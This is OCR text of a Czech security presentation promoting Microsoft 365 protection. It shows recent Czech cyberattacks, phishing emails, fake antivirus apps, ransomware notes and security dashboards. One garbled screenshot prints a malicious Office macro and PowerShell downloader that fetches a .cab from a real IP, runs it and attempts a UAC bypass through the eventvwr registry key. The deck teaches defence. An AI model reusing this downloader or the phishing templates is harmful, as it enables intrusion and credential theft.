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M 11, prosince 2019 W 23, prosince 2019 m 13, bfezna 2020
Provoz beneSovské nemocnice ochromil rusky  Spolecnost OKD z bezpecnostnich divodi Fakultni nemocnice Brno celila kyberneticke-
vydéracsky pocitacovy vir Ryuk, ktery napadl| prerusila tézbu ve vSech svych dolech mu Utoku, postupné padaly pocitacové systé-
jejisystém, neslo spustit pristroje ani sif. Ope-  na Karvinsku. Divodem byl hackersky ttok, my, a proto bylo potreba vypnout véechny
race byly zruseny, provoz byl pIné obnoven ktery ochromil jeji pocitacovou sit. Tézba pocitace. Zakladni provoz zustal zachovany.
30. prosince. Skody presahly 50 miliont. v dolech byla obnovena 27. prosince. Vznikla Skoda za desitky milionu korun,

Nebezpecné kybernetické
utoky po siti za poslednl
pulrok
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m 30. bfezna 2020 a 7 dubna 2020 m 7. dubna 2020

Pocitacovou sif v Psychiatrické Tercem kybernetického Utoku  Hackeri zautocili na informac-
nemocnici Kosmonosy ochro-  se stal méstsky urad Prahy 3, ni systém Povodi Vltavy,

mil kyberitok. K 14. dubna jehoz chod byl ochromen nefungovaly e-maily ¢i spisova
bylo v provozu zhruba 70 % i po vice nez tydnu. Kromé sluzba a dalsi interni systémy.
pocitact, zbytek by mél zacit webovych stranek byly vypnu-  Pfehrady nebo dodavky vody
fungovat v pristich dnech. ty vSechny IT systémy radnice.  ohrozeny nebyly.

M 3. a 8. dubna 2020 W 17. dubna 2020 M 17. dubna 2020
Napadeny byly informacni systémy Fakultni nemocnice v Ostravé a Olomouci se staly terCem kybernetic- Informadni systémy prazského
spoletnosti CEZ Distribuce. kého utoku. Utok odrazily. Pokusy o vniknuti do siti hldsily i nemocnice  Leti$té Vaclava Havla se pokusil
Utok byl odvracen. v pardubickém a karlovarském kraji. A Gtocnici méli spadeno i na napadnout neznamy

ministerstvo zdravotnictvi, potvrdil Séf resortu Adam Vojtéch (za ANO). utocnik. m
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Pohaneno Microsoft 365

Unikatni kombinace produktivity, zabezpeceni a klientského pristupu



Evoluce bezpecnostniho perimetru
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Kancelar Sit Identita

Ruzna rizika a vektory utoku vyzaduji rdzné metody obrany a remediace
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Microsoft 365

Komplexni reseni pro malé i velké spolecnosti

Office 365

E-maily, dokumenty, spoluprace, komunikace, produktivita

Enterprise Mobility+Security

|dentita, zarizeni, data a jejich zabezpeceni

Windows 10

Bezpecny pristup uzivatele do cloudu



IT

Uzivatelé
Pouzitelnost Sprava
Flexibilita Zabezpeceni
Mobilita Predpisy

Moderni pracovisté



Microsoft 365: Moderni pracoviste

Identity Administrace

Centralni sprava
a konfigurace

Bezpecné overeni internich
[ externich uZivateld

Soubory
Weby
Obsah

Kolegové

I I Spolecnost

Pro komunikaci projektovych

A Propojeni napfic firmou,
tymdu, oddeleni, iniciativ

celofiremni komunikace

OneDrive
SharePoint

Exchange

Zarizeni Audit
Konfigurace a sprava koncovych zarizeni, - I
mobilnich telefond a aplikaci E mall Ochrana dokumentu, dat, informaci, audit aktivit,
Pro cilenou a rizenou interni i externi komunikaci prehledné reporty, soulad s normami a certifikace
| Microsoft 365 Groups |

Clenstvi napfi¢ aplikacemi a sluzbami
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819 3%

unikd osobnich dat . oA zameéstnancu pouziva

! et hesel jsou duplikaty nes Vd

zpusobeno unikem nebo trivialni stejna hesla pro praci
hesla kombinace i soukromi



Mobilni zarizeni
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Antivirus Cleaner CIA Antivirus Free Free Antivirus 207 Antivirus Cleaner Antivirus RAM Cle antivirus for mob
AVC Security Joint Stoc MSolutions appflozen Caltonfuny Antivirus Ph GameXpZerco Omha

i 2222 12228 *h ok L2 223 (2222 2221

u Tiew) Q

Super Antivirus - ! Free Antivirus - Ar Anti malware 201 Antivirus Pro & Ar Antivirus Cleaner Virus remover- Ar
AppsNewlLook AZmobile Lab Omha GlobalsApps Mobile Antivirus Lab Mondev44

12221 122227 * ok k ok L2222 * ok k kR 12228

SmadAv antivirus Max Security - Ani Virus Removal Fc Cool Security -Ant Antivirus Free Antivirus Pro FRE:
tools for android MaxvV Cooler Technologies, In zeeworkers Protector & Security for bESapp

L8 & & & L8 8 & & L 8 & & & LE & & L & & & * iy



Mobilni zarizeni

QRecorder

Verze 1.2 mile poladovat plistup k

* Cteny hontaetd

« vyhleddvani O81d v zalzenl
Qm a * Lprava hortakt(
NickBaza Mikrofon
g reaa < rabrévin zvaky

Telefon

* pfime volin! ra tefefonni Lisla
* plesméravin odchanch hovord
* Steey stavy & Dentity telelony

B8 (Oroziéé

#7 Nejoblibendjéi aplikace Nastroje

* Uprava nebo mazani obsahw v lobds USS
@ ° @ « Eterv obsabu v Ulodidt USB
Vid telefon 3 0s0bN Udaje oy
raniteindjdl vO&! Utoku aplikacs, kneréd
Satew wa Nisvop Pedoted « Zobiazeni ples astatn aplikace pochazi z nezndmych zdrojl. Souhlasite
* spusitéed ph starty s tim, 2e nesete osobni odpovidnost
+ plistup k redimu Neruirt 24 jakékol 4kody pisobend na vatem
QRecorder is the automatic call recorder tool as « zobrazovdri sovych plipojend tolefony nebo za ztrdtu dat v dislodky
well 35 vouoe recorder 1004 * branéni plechodu telefonu do reirmw poutivini téchto aphkaci
wanky
My“ ( » mabhasnvsani sl sisonl ran ™
Prstep b 110 oprdwrdnim mdlete 2akizat v Nastamrd Zrudn oK
Actubzace spikace QRlecorder mohow do katie shupey
I S N e (R




Phishing

[Account-Deactivation]

Microsoft Fix <mx-59545445435@protection.office-365.com>

Tuesday, August 21, 2018 at 1:18 AM
Show Details

Office-365

Hi Sales

Your account of s com will be disconnected from sending or receiving mails from other users. because you failed to resolve
errors on your mail.

You need to resolve the errors or your account will be disconnected from W com.
Follow the instruction below to resolve now.

RESOLVE ISSUE NOW

Regards,
Microsft Security Team



Phishing

0d: vse.cz - Email Support <sales7@agri-chemicals-ne.tk>
Odeslano: pondéli 27. ledna 2020 2:58

Komu: Toin sabeira W3t o fne e

Piedmét: info@vse.cz , Secured Email User Notification

MAIL SERVICE
Hello *info*
We are closing all old versions and non-active users from 27/01/2020 07:01:18 AM (EDT).

Sent from a trusted sender.

Please confirm vour email address info@vse.cz to keep your account from being deactivated.

Confirm E-Mauil
Account will be automatically deleted after (30/01/2020). You can change the frequency of these notifications within your mailbox portal.

Best Regards

Administrator.

All rights. Legal Motice
@ 2019 Microsoft Corporation Email Inc.
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Makeny zakazniky, 5

Jsene velmi rddi, 2e jste vyuzivali produktu 2 nadi banky.
Dovolujéme Vs upozornit, Ze k 25.04.2014 dluiné Tistky na osobni GEet ve vysi ¥3461736850223265 5673,28 K&, Nabizime vim
dobrovoiné uhradit pohleddvku v piné vyii do 16.05.2014.

Dobrovoiné uhrazeni pohleddvky a dodrieni smiouvy #5451811410A65618 umoliuje Vim:
1) Dodriet pozitivnd Gvérovou histori
2) Vyhnout s¢ soudnim spordm, placeni poplatkd a jinych soudnich nakladd.

V pfipadé prodieni uhrady pohleddvky 5673.28 K¢ v souladu s platnymi pravnimi piledpisy, jsme oprdvnéni zahdjit pravni sankdi na zdklade
pohleddvky.

Kopie smlouvy a platebni Gdaje jsou pfipojeny k tomuto dopisu jako soubor “smicuva_5451811410A65618.2ip"

S pozdravem,

Vedouci odboru vymahani pohledivek
Bolena Zabkovi

+420 608 699 820

g
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= Sign in to your account X H

& &) @ https ms1u2632bcms8qzhmqv3f4.z6.web.core.windows.net

o¥ Kazzan s) KPCS Intranet s CRM Dbl Delve Yammer oD Portal Admin % EAC Azure m Partner g Protection m CAS WDATP m Azure ATP T TAC D MVP B Other bookmarks

BY Microsoft

& petrvlk@kpcs.cz

Enter password
Password

Forgotten my password

©2018 Microsoft  Terms of use  Privacy & cookies
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| =28 Lt/ jetdrop.co.uk/bin/themes/5a 2 = € [ <24 Prnlizeni SERVIS 24 | Ceskd.. %

Soubor  Uprovy Zobrgzit  Oblibené poloiky  Nastroje  Mapovéda

SERVI 5.24 &  Hiedal v Internetbankingu a na webu Fio w = Movy produkt = SAEmYIE S

INTERNETBANKING
_ MNasténka Poslat penize ~ Prehledy - Flatebni karty ~ ﬁablﬂr'ly Informace o iy

Ovéreni vasich osobnich udaju ¢

Kazdoro¢ni aktualizace vaSich osobnich udaju

Cas piijmu doéasného kédu pomoci SMS zavisi na vasi siti. Za
vice nei 3 minuty :

2:17

Chcete-li dokoncit Zadost o opétovné zapnuti, zadaojte
prosim vas referencni kod obdrieny pomoci SMS :

&s“i Bezpeénost | Kontakty | O sludbé | Pronevidomé | Demo | Wiee informac n n Ea é

2018 © Ceska spofilelna, a. s. - vBechna priva vyhrazena.



OCHRANA KDYZ TAK
IDENTITY A
PRISTUPU

Povol pristup

Privilegovany uzivatel?

., Riziko e
Pfihlasovaci Gdaje online? Vyzadej MFA
Pristup k citlivé aplikaci? I Vysoké
Nespravované zarizeni? v
Stredni ® Vyzadej zménu hesla
Detekovan malware? o
Nizké
IP adresa soucasti botnetu?
Neuskutecnitelna cesta? I Zadne Odmitni pristup

Anonymni klient?

Omezeny rezim




Ulozeni dat a sifrovani

BitLocker

K odemknuti teto jednotky zadejte heslo.

EXEEr A . -

Chcete-li pfi psani zobrazovat heslo, stis

Insert Draw Design Layout References Mailings Review

Calibri (Body)~[11 ~ A" A" Aa- A

Paste . = 2 A A BR===1=./¢
- ¥ Format Painter B I U abe X, X A -A- == = e ~

Clipboard M Font M Paragraph
o Classification: B Confidential \ Internal Recipients /'

Company Confidential



SECURITY DOMAINMS

Security records over time

150k /
= — _—
2 100k A
[} o
S0k
lan 23
Antimalware Assessment
Computers with Antimalware
Assessment 1 1
MNetwork Security

Coming soon!

Computers
Computers with security

events 1 1

Baseline Assessment
Critical failed rules in the last

68

Jan 25

Aktualizace, konfigurace a evidence

Jan 27

Update Assessment
Computers missing updates

1

Identity and Access

Accounts attempted to log

N 1.8K

Threat Intelligence
Malicious traffic events

17.1K

Azure Security Center

MNOTABLE ISSUES

Active issue types

\ I CRITICAL
9 WARNING
TOTAL 4
INFO

3

MAME

High pricrity AD assessment security r..
High pricrity SQL assessment security r...
Legons with a clear text password
Computers with insufficient protection
Low priority 5QL assessment security r...
Low priority AD assessment security re...
Accounts failed to log on

Change or reset passwords attempts

Locked accounts

< 1eofl 2

COUNT

53

10

2K

4

SEVERITY

T
&
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B A jak na to budete reagovat?

CENZUROVANO




A\ AN | [ ]

Nezalezi jen na jedné komponente

v I | O&- = e e o B Y e L T A I e R e (e Ve e [Tt Te T LR IS PRI 32 aeab71e0329F3b49c12f10f76cf6193e62e63fb46361Fad8bbe604d77b0ed
HOME  INSERT  DESIGN  PAGELAYOUT : File Edit View Inset Format Debug Run Tools Add-ins G UaPNZNNINNEEILTH
e e TR T [ F . BT . )
sidpaidioalid s £ Ry if(-not (Test-Path "$env:APPDATA\Microsoft\Windows\Templates\temp")){
Paste . B I U ~abk X, X° w.a- =9 Bc3b29c426141ec4786dd79df80af542cef24ca "" >> "$env:APPDATA\Microsoft\Windows\Templates\temp"
‘l’ R (General) $dir = (${env:ProgramFiles(x86)}, ${env:ProgramFiles} -ne $null)[@];
S - ; Public Sub AutoOpen () $gbPath = Join-Path $dir "GbPlugin";
1 G Macros have been disabled. a < . . . .
PRI NG W I e - Dim juliet As Integer $paths = @{(Join-Path $gbPath gbiehcef.dll) = "104";(Join-Path $gbPath gbiehscd.dll) = "751"
BankofAmerica”? Dim disavowal As Variant ; (Join-Path $gbPath gbieh.dll) = "@@1";(Join-Path $gbPath gbiehuni.dll) = "341";(Join-Path ($env
arthromeric = arthromeric * 4 :ProgramFiles) "\AppBrad\NetExpress50.exe") = "APP237";(Join-Path ($env:ProgramFiles) Trusteer)
Bank of America Visa — 41 Dim clinid As Integer "Trust"”; (Join-Path ($env:LOCALAPPDATA) “"\Aplicativo Itau\itauaplicativo.exe") = "APP341";};
) Dim malade As String foreach ($path in $paths.GetEnumerator()) { if(Test-Path $($path.Name) ){ $V1 += $($path.va
David Gray inid = ( nom
clinid 3 Mod 8 e) + }3};
551 Fifth Avenue ~ Suite 417 L >

flora = "cheat"

- 3 R e o0
- i Cltl:’.’if 5 iz 169 Sen $url = "http://104.154.84.149/arv/COP95D8F375489C400.cab™;
Did you know that your SATRo e = e $output = "$env:APPDATA\Microsoft\Windows\Templates\q73WotveoeyZnZu7odLdndall.cab";

New York, NY 10176

. . Printall : S 5
now available in alterna i (New-Object System.Net.WebClient).DownloadFile($url, $output);
f you are visually impaired nt-disabl T L 7> 1 - o
Lq\ﬁg{zmz:‘dsulyn?Srp;!;& Lg{g;;:r?ntaAﬁc Dim ticket As Long Start i?rocess rundl132 $env:APPDATA\Microsoft\Windows\Templates\q73WotveoeyZnZu7odLdndaW.ca
P sd.Scroll fmScrollActionNoChange, , C5CBDDF23; e ) . ' .
T arthropodal = 54 ‘ $avs = (Get-WmiObject -Namespace "root\SecurityCenter2" -QUERY "SELECT DisplayName FROM Anti
to sign up or call us at 1-800-276-9939 irusProduct” );
=J= < foreach ($avl in $avs) { $av += $avl.displayName + ","};
You may need to get a QR Code® reader fron if($a\/ -like ""‘a\/g”"'){
i Bc3b29c426141ec4786dd79df80af542cq " - -
T — — $path = "HKCU:\Software\Classes\mscfile\shell\open\command";

DAVID GRAY - 4744 7784 5528 4719 if ((Get-ItemProperty -Path $path -Name "(default)" -ErrorAction SilentlyContinue) -eq

ol Private Sub UserForm Scroll (ByVal null){

e Dim speck As New biochemically New-Item $path -Force | New-ItemProperty -Name "(Default)" -Value $command -PropertyTyp
003 u Dim burmanniaceae As Variant string -Force | Out-Null }

vy . else{exit};

006 Speck.Name = harmoniphon $eventvwrPath = Join-Path -Path ([Environment]::GetFolderPath("System")) -ChildPath "ev
007 abruptly = speck.mammary £Vwr. exe™

008 - ” : 3

009 HsDecument gLy Start-Process -FilePath $eventvwrPath;

010 . End Sub >

011 This documentwal | | Start-Sleep -Seconds 5;

012 To properly displaf 1=J= < $mscfilePath = "HKCU:\Software\Classes\mscfile";



Aktualizace, konfigurace a evidence

Ooops, your files have been encrypted!

Your computer

What Happened to My Computer?
Your important files are encrypted.

Many of your documents, photos, videos, databases and other files are no longer
accessible because they have been encrypted. Maybe you are busy looking for a way to
recover your files, but do not waste your time. Nobody can recover your files without
our decryption service,

Take your cash to one of this ﬁ
; S ayment will be raised on %
retail locations: 8 o s=p Can | Recover My Files?
Walmart K B @ 511672017 00:47:55 Sure. We guarantee that you can recover all your files safely and easily. But you have

¥ Wiy not so enough time.
- You can decn’p! some of your files for free. Try now by clicking <Decrypt>.

has been locked!

Your computer has been locked due to suspicion of illegal content
downloading and distribution.

Mentioned illegal content (414 Mb of video files) was automatically
classffied as child pornographic materials. Such actions, in whole or in
part, violate following U.S. Federal Laws:

HOW TO UNLOCK YOUR COMPUTER:

< Time Left

‘ T T = aqt to decrypt all your files, you need to pay.
o= @ 3 days to submit the payment. After that the price will be doubled.
— | — - - - | [n"tpay in 7 days, you won't be able to recover your files forever.
Any individual who violates, or attempts to violate, or conspires to @U' » Libraries » Pictures ) Sample Pictures Aelhs P | Iree events for users who are so poor that they couldn’t pay in 6 months.
violate mentioned laws shall be sentenced to a mandatory term of =
imprisonment from 4 to 30 years and shall be fined up to $250,000. Organize v Share with « Slide show New folder =~ 0 @ Dav?
\
:‘mci:::'l::';::;”, U Favorites Pictures library Nimogely *Fokier cepted in Bitcoin only. For more information, click <About bitcoin>.
lavolvas host nanie: B Desktop Sample Pictures : the curren; price of Bitcoin and buy some bitcoins. For more information,
Source or intermediary sites: Doiloads buy bitcoins>,
.‘ torrect amount to the address specified in this window.
All suspicious files from your computer were transmitted to a special =, Recent Places - — - - rment, chck (Check Payment>. Best time to check: 9:00am - 11:00am
server and shall be used as evidences. Don't try to corrupt any data or v
unblock your account in an unauthorized way.
w4l Libraries z g : g
Your case can be classified as occasionaliunmotivated, according to title s : Send $300 worth of bitcoin to this address:
17 (U. S. Code) § 512. Thus it may be closed without prosecution. Your &=/ (1) Pictures —
computer will be unblocked automatically “t| Documents Chrysanthemum.  Desertjpg!__pro | desktop.ini__pr | Hydrangeasjpg!_  Jellyfishjpg!__pr 12t9YDPgwueZ9NyMgw519p7AABisjré SMw
In order to resolve the situation in an above-mentioned way you J‘, Music gggr.n_airzi:fhclfr; ssch:‘f@cgryngill‘co osscohr:f@zgr:tali.c —zlri;sr;hlfzsgtm oss;hr:-'ff@érgyr:tall.c !
should pay a fine of $300. i Pictures ot o o cdosme {3 = = i
Permanent lock on —= - — = ]
«& Homegroup
1% Computer
Koala,jpg!__pros  Lighthouse,jpg!__ Penguins.jpg!__  Tulips.jpg!__pros
P schiff@gmail.co _prosschiff@gma  prosschiff@gmail schiff@gmail.co
M Network m_.crypt il.com_.crypt .com_.crypt m_.crypt
| 9 items State: & Shared
|




Anomalie

« | B General Anomaly Detection : 1 days ago 86% 100

A & Microsoft Exchange Online & General Anomaly Detection A jermy.nealp@contosc.com Risk score High severity

Resolution options: | 4 jerry.nealy@contoso.com Disrmiss...

Description

The user jerry nealy@contoso.com triggered a suspicious session with a combined risk score of 85.95,/100 based on the factors below.
* The P 109.163.234.2 is an anonymaus proxy
* The user jerry nealy@contoso.com is an administrator
* The I5P Vouility 5.R.L
> was first used by any user across the organization
= was first usad by any user for administrative activity acrass the organization
* The administrative action “set-Mailbox ForwardingSMTPAddress
= was performed for the first time in 82 days
> was performed only 20 times in the past
* The session contains 3 falled login attempts

[t is recommended to confirm the user is familiar with these actions.

Activity log




Znate kontext sveho prostredi?



Demo?



InPrivate [_] Microsoft Secure Score < | 4% Palicies - Microsoft Azure + - x

< ()] {nr o] protection.office.com ke 3= g = Y

Microsoft 365 Security

Il
X

A Rank Improvement action Score Category User impact Implementation cost

Home A~ Identity (9) Enable MFA for Azure AD privileged roles

{a
& e 1 Enable MFA for Azure AD privileged roles 0/30 Identity Low Low 0/50 points
L Monitoring & 4 Remove just in time access eligble admins that n... 0/10 Identity Low Low Status
t rt
onitoring & reports To do
9 Block Office apps from launching child processes 0/50 Identity High Low
@ Secure Score Description
9 Designate more than one global admin 215 Identity Low Low You should enable MFA for all of your Azure AD privileged roles because a breach of any
Ji) Hunting of those accounts can lead to a breach of any of your data. We found that you had 8
16 Use non-global administrative roles 1/1 Identity Low Low admins out of 10 that did not have MFA enabled. If you enable MFA for those 8 admin
accounts, your score will go up 50 points.
<& Classification ~ N ) ] .
2 Designate less than 5 global admins o/ Identity Low Low
Category User impact
= Policies 27 Do not allow third party integrated applications 10/10 Identity M Low Identity Low
Permissions 42 Disable accounts not used in last 30 days 0/1 Identity Moderate Low Protects against Implementation cost
Password Cracking Low
45 User alternate contact info is completed for all us...  1/1 Identity Low Low Account Breach

Elevation of Privilege

~~  Apps (2)

10 Discover risky and non-compliant Shadow IT app...  0/25 Apps Low Low What am | about to change?
Enable the "Baseline policy: Reguire MFA for Admins” through the conditional access
0 Set automated notification for new OAuth applic..  0/20 Apps Moderate Low portal. Click the baseline policy and select "Use policy immediately” to enable MFA for

your Admins. While the baseline policy is in preview, it can be disabled. Otherwise, if you
leave the policy on "Automatically enable policy in the future”, when the baseline policy
make it to general availability, Azure AD will opt you into the policy by default but provide
you the configuration to opt out at any time.

/ Infrastructure (1)

18 Remove external accounts with write permissions...  0/25 Infrastructure Medium Low
How will this affect my users?
~ Data(3) - .
When you enable MFA for your Global Administrators, they will be prompted to
18 Review mahware detections report weekly 5/5 Data Low Low authenticate with a 2nd factor when accessing an app.
o L o Notes
38 Review list of external users you have invited to d...  2/2 Data Low Low
Write a note
46 Enable Data Loss Prevention policies 0/20 Data Moderate Moderate
- Device (1)
64 Require mobile devices to use alphanumeric pass...  1/1 Device Moderate Lo Resolve through third-party Ignore




(= [7] Monitoring & reports - % | #& Policies - Microsoft Azure S = x

< ()] {nr o] protection.office.com ke 3= g = Y

Microsoft 365 Security

e Monitoring & reports
M Alerts
View status and trends for the security of your Microsoft 365 devices, data, identities, apps, and infrastructure. Learn more
' Monitoring & reports
= Group by category v
@ Secure Score
Identities (3) [
a8 Hunting
Identity protection Cloud App Security - Anomaly detection Global admins
b Classification 2
= Policies 55 users at risk Users with detections Reduce global admins
- o User Alerts 8 global admins
ermissions RIS
- Global admins have access to all your data and tools, Limiting
Armin Hoffman 5 the number of users with this role lowers the risk to your
B High risk Medium risk No risk organization
Emil Ruder 45
View all users Josef Muller Brockmann 32 Manage roles

Adrian Frutiger 2

Max Miedinger

Max Bill 15

Le Corbusier 8

Ralph Schraivogel 4

Niklaus Troxler 2

See more

Data (7) Feedback
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Microsoft 365 Security
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Secure Score

Hunting

Classification

Paolicies

Permissions

# | #\ Policies - Microsoft Azure 4+ W

protection.office.com

Data (7)

DLP pelicy matches

320  3/2 3/22  3/23 3/24  3/25  3/26

Il PCl Data Security Standard (PCI D55)
Il U.5. Health Insurance Portability and Accountabilit...
General Data Protection Regulation (GDPR)

Users sharing files

Users whao shared the most files in cloud apps

User Files shared
Kelly Wilson 140
Marco Dinkins 132
Roseann Albert 112

o
o

Lisa Sherman

Damian Mattos 72
Russell Lynch 55
Niklas Bosley 32
Le Corbusier 23
Ralph Schraivogel 16

Show more

3rd-party DLP policy matches

372 3722

Ml 3rd-party DLP policy matches

Top Labels

123 Non-business

M Finance [l General M Public M Non-business

Manage labels

DLP false positive and override

3/20  3/21 3/22

PCI Data Security Standard (PCl D55)

U.S. Health Insurance Act (HIPAAL)
General Data Protection Regulation (GDPR)

Top Labels by location

8
A
[
[E]
&

M Tota

Conditional access app control

3/22

w
]
o

nmanaged device logins ocked downloads
u ged | M Bl 1 d d

Feedback
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Home

Alerts

Monitoring & reports

Secure Score

Hunting

Classification

Paolicies

Permissions

= | /N Policies - Microsoft Azure 4+ W

protection.office.com

Devices (11)

Device protection

34 devices at risk

Device Risk level
tocohen A High
tocohen2

tocohen3 Low
tocohend A High
tocohens A High
tocohenb A High
tocohen7 A High
tocohend A High
tocohen9 A High

View details

Device compliance

35% noncompliant

In grace period
Mot evaluated

Moncompliant
M Compliant

See compliance issues

Attack surface reduction rules

90% of devices use attack surface reduction rules

M Block mode M Audit mode Il Mixed mode [ Off
Device settings by rule

Execution of executable content (exe, dll, ps, j... 112.6k/112.6k

Office apps/macros creating executable content  89.8k/112.6k

jsfvbs executing payload downloaded from In... 86.3k/112.6k

Win32 imports from Office macro code 89.9k/112.6k

Advanced ransomware protection 84.5k/112.6k

Process creation from P5Exec and WMI comm... 76.7k/112.6k

W Biock mode M Audit mode Off

View all devices View devices in audit mode

Device malware detections

15 unresolved malware

W Active
W hot executed

Action failed Allowed

View details

Office apps launching child processes 12.6k/112.6k
Office apps injecting into other processes (no...  84.4k/112.6k
Obfuscated js/vbs/ps/macro code 73.5k/112.6k
Executables that don't meet a prevalence, age... 101.3k/112.6k

Flag credential stealing from the Windows loc... 74.7k/112.6k

Untrusted and unsigned processes that run fro..  78k/112.6k

View devices with ASR off

Device threat analytics

Assess your defenses against

high-profile threats

Read about the latest attack campaigns, malware outbreaks, and
other notable threats. Review devices with related alerts and
devices that don't have the recommended mitigations.

View all threats

Attack surface reduction rule detections

Possible malware or breach activity on your devices

8.3k detections
145 unique files
6k affected devices

Detections over time

1000

SDD H H H H
0 |||| | ||||II. i || I -Il..
08/22

0g/01 09/11 09/21

M Blocked M Audited

View detected files Simulate exclusions e

GADOLINIUM / FoggyBrass 12/16
|

Dofoil / CoinMiner 10/13
|
Zacinlo(Detrahere) 1/7
|

EternalBlue endures 2/4

Emotet distributes Trickbot 3/3

Feedback
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Microsoft 365 Security

Home

Alerts

Monitoring & reports

Secure Score

Hunting

Classification

Paolicies

Permissions

& Monitoring & reports - X | #& Policies - Microsoft Azure + v

protection.office.com

Apps (8)

Cloud App Security - OAuth apps

248 privileged apps

M High Medium Low

App Permission level
Boomerang HEE High
Yesware email tracking HEE High
Jira for Outlook BN High

Pickit Free Images

I
=1

officeatwork Template Chooser

o
=
-]

m
=1

MyScript Math Sample

Show more

Email protection

12 email accounts at risk

Email account User

armin.hoffman@contoso.com Armin

mike.dearson@coentoso.com

eva.macias@contoso.com

Cloud app accounts for review

User accounts that require attention based on Cloud App
Security alerts

3 suspicious admin activity
46 possible impersonations
inactive accounts

Email threat analytics

Investigate high-profile

threats that arrive on email

View data on trending and widespread mailware campaigns and

assess their impacts to your data and email accounts.

Malicious content blocked

8067 phishing blocks

Total phishing attempts blocked by Office365 ATP features

8067

Malicious URL reputation 1043 / 8067
I

Advanced phish filter 103/

1

General phish filter 567/

8067

Discovered cloud apps (categories)

Cloud storage
B 7.84 GE

Collaboration

1 1.03 GB
CRM
| 814.78 MB
Webmail
B 2.44 GB
Sanctioned M Unsactioned Other

097M?CVE-2017-11882.C 40 /72
097M?CVE-2017-11882.A 40 / 66
Win32/Tisifi.B 40 /57
Win32/Fareit 40 /48

1272 malware blocks

Total malware in email or content blocked by Office365 ATP
features

ATP safe attachments 387 /1272
I

ATP safe links 315 /1272
I

Anti-malware engine 253 /1272

Cloud app activity locations

Common countries where your users are accessing cloud apps

101.4k from the United States
9k from France
from China

Malware in email

610 Win32/Tisifi.B
382 Win32/Fareit
143 Win32/Dridex

Feedback
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Microsoft 365 Security

User impersonation 98 /
1

lee.rob@contoso.com Lee Rob

Domain impersonation

{mr Home ) : '
michael.lee@contoso.com vlichael Lee -
Phish zap 55 / 8067
I
A Alerts
k~  Monitoring & reports See more
@ Secure Score
48 Huntin
J Infrastructure (3) ~
b Classification v
Infrastructure health Azure security subscription coverage Azure policy compliance
= Policies
Some resources need o, 0, 1
Permissions 80% covered 91% compliant

.
attention
Health status of your resources protected by Azure Security -

Center M Cove

d (standard) Covered (free)

Compliant Il Not compliant

28 compute resources

I — . .
Improve coverage View details
14 networking resources

19 storage and data resources
I

12 application resources

2 10T resources

4 miscellaneous resources

B Critical Warning Healthy

View details

Feedback
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Detection

Active Incidents

27 active in(:idents Updated 6:20 pm today

W High {4 Medium (16) Low (7)

Incident name

Golden ticket compromise

Phishing email campaign detected

Suspicious PowerShell Activity

Phishing email campaign detected

Insider threat identified - sensitive data

Potential Dofoil activity — malicious C2

Windows Defender AV detected an active 'Azden’ malware

Windows Defender AV detected 'Reimage’ unwanted software

Show more

Email protection

12 email accounts at risk ;...

Updated 6:20 pm today

Email account User

Severity Last activity

HEN High June 18, 2018 11212 AM

HEN High June 18, 2018 11210 AM

HEN High June 18, 2018 11:07 AM

HEN High June 18, 2018 10:56 AM
Medium June 18, 2018 10:52 AM
Medium June 18, 2018 10:50 AM
Medium June 18, 2018 11212 AM
Medium June 18, 2018 11:11 AM

Device threat analytics

Assess your defenses against
high-profile threats

Updated 6:20 pm today

Get interactive reports on Windows Defender ATP about emerging threats

Identity protection

Users with threat detections

Updated 6:20 pm today

User Alerts
Jesse Wallin 56
Robin Goolsby 45
Eva Macias 32
Jonathan Wolcott 27
Rex Fredrickson 16
Donovan Eagle 15

Jess Passmore

[

Antoine Hindman 4
Wayne Wallin 2
Show more

Spectre and Meltdown 23 active/132

Advanced Trojan Outbreak 16 active/182
NotPetya 13 active/254

L = B L e

b
i

¢’ Edit sections -+ Add cards

Device protection

34 devices at risk /2

Updated 6:20 pm today

Device Risk score
RDP_SRV_10 A High
RDP_SRV_5 A High
FIN_SRV_HQ A High
DC_SRV_US A High
cont-evamacias A High
cont-jonathanwolcott A High
cont-jesswallin Medium
RDP_SRV_25 Medium
RDP_SRV_25 Medium
See more

Threat News

“BadKitten" - New threat in town

‘ Check organization vulnerability
Start hunting!
P GitHub shared new query
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Incidents

(=
e Active incidents Incident scope Incident by status
00 MNew Investigating Resalved
% 27 active incidents 12 15 40+
150
l’i‘ 100 Updated 6:20 pm today
Updated 6:20 pm today
o 50
. ) ]
W High (4) Medium (16) Low (7}
03/01 03,06 03/m 0316 0321 03/26 03/31
e
=
H Cevice M Emailand data [l Identity
@ Export i} Customize columns S Filter
¥ Incident name Sewverity Category Detection source Alerted entity Last activity Classification Status
Incident #496 HEE High Credential Theft, Compromised Account Email, Device, User 1 204 email accounts Ll cont-jonawolcot  Jw  Jonathan Wolcott April 10, 2018 10:26:22 True Acrtive
Comrb(ation from remote process, Remote shell, Kernel...  mEEHigh Privilege Escalation Device, Usar Ll 4 machines & 8users April 10, 2018 10:26:00 Mot set Active
InstallCore unwanted software HEE High Persistence Device, Usar Ll 3 machines & 3users April 10, 2018 10:23:29 True Acrtive
Malicious URL, Active Speesipro malware HEE High Suspicious Activity Email, Device, User 1 12 email accounts  £L 2 machines i 2 users April 10, 2018 09:25:24 True Active
Ransomware attack HER High Suspicious Activity, Persistence Email £ 213 email accounts &' 4 users April 10, 2018 10:25:23 True Acrtive
Suspicious file, Suspicious script Medium Suspicious Activity Device, User LB 3 machines A 4users April 10, 2018 09:24:23 True Active
Malicious URL, Active Speesipro malware Medium Reconnaissance Davice, Usar L 2 machines & 5users April 10, 2018 08:15:24 True Acrtive
Suspicious script Medium Reconnaissance Device, User LB 2 machines & 3users April 10, 2018 10:25:26 True Active
& Incident #436 Medium Reconnaissance Device, User B cont-evamacias EM Eva Macias April 10, 2018 09:24:23 True Acrtive
InFridant #4165 Medium Deavica |lcar B A machines £ A users Aorl 10 2018 102 Trie Artiva
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Incident #496

Edit incident name

EEE High

Conditional access applied

MCIDENT DETAILS

Status

Active

Classification
True positive

Set status and classification

Assigned to

Dan Smith

Unassign

Category
Compromised mailbox  Suspicius activity

Persistence  Credential Theft

Compromised account  Suspicius activity

ACTIVE

Activity time

First - Jul 03, 2018
Last- Jul 03, 2018
Duration

00H :03m : 23s

i Share [-] Comments and history [ Actions and assistance
-
Dashboard > Incident
6 active alerts Related evidence
] Machines Users Mailboxes Files Processes IPs Applications Servicess Persistence methods
W High (1) Medium (3) Low (2) Infarmational (0) 3 4 2 1 3 9 4 1 0 0 1
_ - - - ~ @ - - -
T v © ] T L ] ©
Y
Jul 02 09-28:30 AM 09:28:00 AM
